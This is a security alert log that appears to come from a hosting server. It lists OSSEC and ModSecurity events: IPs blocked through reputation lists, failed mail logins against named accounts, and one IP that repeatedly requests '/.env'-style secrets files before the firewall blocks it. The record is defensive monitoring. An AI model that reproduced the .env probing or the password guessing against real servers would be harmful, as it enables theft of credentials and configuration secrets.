Jul 25 06:21:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 06:22:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=az3p39xp&v=s5r7a||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 06:22:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 06:22:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 06:22:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.223.70
country_id: 1562822
description:
Jul 25 06:23:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.223.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=26wlkbzn&v=td66u||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.227.186
country_id: 1814991
description:
Jul 25 06:25:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.227.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.185.18.67
country_id: 3469034
description:
2026-07-25 06:25:06 dovecot_login authenticator failed for H=([183.104.220.152]) [179.185.18.67]:45803: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=a54fogw4&v=omr6y||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 06:24:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 06:25:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-25 06:24:35 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net (RZD-gw.transtelecom.net) [24.119.52.56]:38442: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.247.211
country_id: 1814991
description:
Jul 25 06:24:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.199.84.224
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-24.91.199.84.224||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.119.52.56
country_id: 6252001
description:
Jul 25 06:24:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.119.52.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 06:24:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 06:24:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 06:24:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 141.98.101.181
country_id: 2635167
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-24.141.98.101.181||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.199.84.185
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-24.91.199.84.185||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 06:25:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 06:25:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 06:26:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 06:26:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.200.14
country_id: 1814991
description:
Jul 25 06:26:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.200.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=p8px3xj9&v=q0h9u||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 06:27:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.73.230.102
country_id: 6252001
description:
Jul 25 06:27:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.73.230.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 06:28:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=06aqsmqy&v=83ceg||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-25 06:27:56 dovecot_login authenticator failed for H=([213.33.182.183]) [65.73.230.102]:33118: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 06:27:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.202.121.164
country_id: 1835841
description:
2026-07-25 06:28:23 dovecot_login authenticator failed for H=(154.205.26.218.internet.sx.cn) [119.202.121.164]:47611: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-07-25 06:28:35 dovecot_login authenticator failed for H=([98.170.57.251]) [175.206.113.91]:49738: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.114
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-28.91.243.81.114||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.34.229.12
country_id: 1668284
description:
Jul 25 06:28:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.34.229.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-25 06:28:26 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net ([113.193.187.154]) [1.34.229.12]:45620: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.206.113.91
country_id: 1835841
description:
Jul 25 06:28:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.206.113.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 06:28:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 06:28:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.106.115
country_id: 1814991
description:
Jul 25 06:29:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.106.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 06:29:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.124.244.36
country_id: 2658434
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-29.138.124.244.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.85.66
country_id: 3469034
description:
Jul 25 06:29:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.85.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 06:29:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.189.85.66
country_id: 3469034
description:
2026-07-25 06:29:34 dovecot_login authenticator failed for H=179-189-85-66.goldnettelecom.com.br ([176.57.76.206]) [179.189.85.66]:44436: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.116.233.132
country_id: 1269750
description:
Jul 25 06:29:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.116.233.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bacqmoau&v=f2628||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.106.115
country_id: 1814991
description:
2026-07-25 06:29:51 dovecot_login authenticator failed for H=([124.83.9.141]) [111.26.106.115]:35374: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 06:29:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 06:30:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 06:30:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=v7nlk8lg&v=9fzgs||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 06:30:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 06:30:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 06:30:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bkuug2h8&v=n6vix||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.132.42.84
country_id: 3932488
description:
Jul 25 06:32:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.132.42.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 06:32:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 06:31:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.160.153.158
country_id: 1269750
description:
Jul 25 06:32:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.160.153.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.88
country_id: 1814991
description:
Jul 25 06:33:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jul 25 06:32:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.88
country_id: 1814991
description:
2026-07-25 06:33:04 dovecot_login authenticator failed for H=(pool-31-207-206-77.is74.ru) [27.24.141.88]:45896: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 06:33:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 06:32:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=wovckfbq&v=8m3by||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 06:33:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 06:33:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=hu0a3dhi&v=waft1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.67.36
country_id: 1814991
description:
2026-07-25 06:33:21 dovecot_login authenticator failed for H=([222.252.55.147]) [111.26.67.36]:53506: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 06:33:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.67.36
country_id: 1814991
description:
Jul 25 06:33:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.67.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 06:33:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 06:33:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 06:33:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.6.91
country_id: 1668284
description:
Jul 25 06:34:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.6.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-25 06:34:41 dovecot_login authenticator failed for H=([183.224.160.34]) [101.13.6.91]:52447: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 06:34:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=z32obcc8&v=uot6y||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 06:34:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 06:34:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 06:34:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.103.46
country_id: 1835841
description:
2026-07-25 06:34:27 dovecot_login authenticator failed for H=([128.185.33.228]) [211.228.103.46]:34164: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.103.46
country_id: 1835841
description:
Jul 25 06:34:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.103.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 06:35:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=2r382ix0&v=e9b50||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 149.88.21.147
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://vird.co/go/datasgp\">Data SGP</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=c616znko&v=5v274||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 06:36:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.129.57.71
country_id: 6252001
description:
Jul 25 06:36:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.129.57.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.129.57.71
country_id: 6252001
description:
2026-07-25 06:36:41 dovecot_plain authenticator failed for H=c-73-129-57-71.hsd1.md.comcast.net (bublea) [73.129.57.71]:54208: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 06:37:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jul 25 06:37:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 06:38:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=6miufbwj&v=ibh7v||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.158.105.199
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-38.51.158.105.199||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 06:38:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 06:39:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.161
country_id: 1814991
description:
2026-07-25 06:39:11 dovecot_login authenticator failed for H=([49.124.152.33]) [27.24.141.161]:33572: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=ph455hvi&v=46o4i||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 06:38:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 06:38:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 06:38:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
